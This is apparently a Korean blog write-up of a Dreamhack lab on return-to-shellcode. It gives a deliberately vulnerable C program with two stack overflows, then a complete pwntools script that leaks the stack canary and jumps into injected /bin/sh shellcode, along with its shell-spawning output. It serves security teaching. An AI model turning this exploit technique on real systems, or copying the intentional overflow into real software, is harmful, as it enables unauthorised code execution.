[Dreamhack] Exploit Tech: Return to Shellcode

Sisyphus·2022년 7월 18일
0

Dreamhack - System Hacking

목록 보기
16/49

1. 서론

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x50];
  
  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);
         
  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);
  
  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);
 
  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);
  
  return 0;
}



2. 분석

보호 기법 탐지

$ checksec r2s
[*] '/home/ion/dreamhack/Exploit_Tech_Return_to_Shellcode/r2s'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

checksec 명령어를 입력하면 바이너리 적용된 보호 기법을 확인할 수 있습니다.


취약점 탐색

 printf("Address of the buf: %p\n", buf);
 printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

buf의 주소와 buf~rbp까지의 거리를 출력해주고 있습니다.

char buf[0x50];

read(0, buf, 0x100);

gets(buf);

read와 gets 함수에 의해 두번의 버퍼 오버플로우가 발생합니다.


익스플로잇 시나리오

read(0, buf, 0x100);                  // Fill buf until it meets canary
printf("Your input is '%s'\n", buf);

첫번째 입력값으로 카나리를 구합니다.

그런 다음 두 번째 입력값으로 반환 주소를 덮어야 하는데, 이번 문제 코드에는 get_shell() 같은 함수가 없습니다.
그래서 buf의 주소를 알고 있기 때문에, buf에 쉘 코드를 넣고 반환 주소에 buf의 주소를 넣어서 익스플로잇을 하겠습니다.




3. 익스플로잇

스택 프레임 정보 수집

from pwn import *

def slog(n, m):	# buf <=> sfp, buf2sfp가 인자로 호출되면
    return success(": ".join([n, hex(m)]))	# [+] buf <=> sfp: 0x39 형식으로 출력

p = process("./r2s")

context.arch = "amd64"

p.recvuntil("buf: ")			# buf: 까지 데이터를 받음
buf = int(p.recvline()[:-1], 16)	# 개행 문자를 뺀 한 라인을 16진수 정수 형태로 받아서 대입
slog("Address of buf", buf)		# [+] Address of buf: 0x7ffc908a4410

p.recvuntil("$rbp: ")			# $rbp 까지 데이터를 받음
buf2sfp = int(p.recvline().split()[0])	# 개행 문자를 뺀 한라인을 정수 형태로 받아서 저장
buf2cnry = buf2sfp - 8			# buf~canary 거리 = buf~sfp 거리 - 8
slog("buf <=> sfp", buf2sfp)		# [+] buf <=> sfp: 0x39
slog("buf <=> canary", buf2cnry)	# [+] buf <=> canary: 0x31

$ python3 ./r2s.py
[+] Starting local process './r2s': pid 8501
[+] Address of buf: 0x7ffe1d28c570
[+] buf <=> sfp: 0x60
[+] buf <=> canary: 0x58

카나리 릭

read(0, buf, 0x100);	// buf에 0x100 만큼 입력을 받음
printf("Your input is '%s'\n", buf);	// buf를 출력

문자열은 NULL을 통해 끝을 구분하기 때문에, read 함수로 입력을 할 때 Canary 앞의 NULL 값을 다른 값으로 덮어버리면 buf에 이어서 Canary도 출력되게 됩니다.


payload = b'A'*(buf2cnry + 1)		# 'A' * (buf~canry 거리 + 1) 대입
p.sendafter("Input: " ,payload)		# "Input: "이 출력되면 payload 전송
p.recvuntil(payload)
cnry = u64(b'\x00' + p.recvn(7))	# leak 된 카나리 값을 대입
slog("Canary", cnry)			# [+] Canary: 0x40e736d41cd76400

$ python3 ./r2s.py
[+] Starting local process './r2s': pid 8564
[+] Address of buf: 0x7ffe58a8d740
[+] buf <=> sfp: 0x60
[+] buf <=> canary: 0x58
[+] Canary: 0x40e736d41cd76400

익스플로잇

Buf ← ShellCode
Canary ← 구한 카나리 값
SFP ← B * 8
RET ← Buf의 주소
sh = asm(shellcraft.sh())		# '/bin/sh' 쉘 코드를 제작해서 대입
payload = sh.ljust(buf2cnry, b"A")	# buf2cnry 크기에 맞춰서 쉘 코드 + "AAA...." 대입
payload += p64(cnry)			# 구한 카나리 값 대입
payload += b"B" * 8			# 'B' * 8 대입
payload += p64(buf)			#buf의 주소 대입

p.sendlineafter("Input: ", payload)	# "Input: "이 출력되면 payload 전송

p.interactive()

[+] Starting local process './r2s': pid 347
[+] Address of buf: 0x7fffef0152b0
[+] buf <=> sfp: 0x60
[+] buf <=> canary: 0x58
[+] Canary: 0x7a2fb272dbcada00
[*] Switching to interactive mode
$

전체 익스플로잇

from pwn import *

def slog(n, m):
    return success(": ".join([n, hex(m)]))

p = process("./r2s")

context.arch = "amd64"

# [1] Get inforamtion about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)
slog("Address of buf", buf)

p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)


# [2] Leak canary value
payload = b'A'*(buf2cnry + 1)
p.sendafter("Input: " ,payload)
p.recvuntil(payload)
cnry = u64(b'\x00' + p.recvn(7))
slog("Canary", cnry)


# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A")
payload += p64(cnry)
payload += b"B" * 8
payload += p64(buf)

p.sendlineafter("Input: ", payload)

p.interactive()



Exploit Tech: Return to Shellcode

0개의 댓글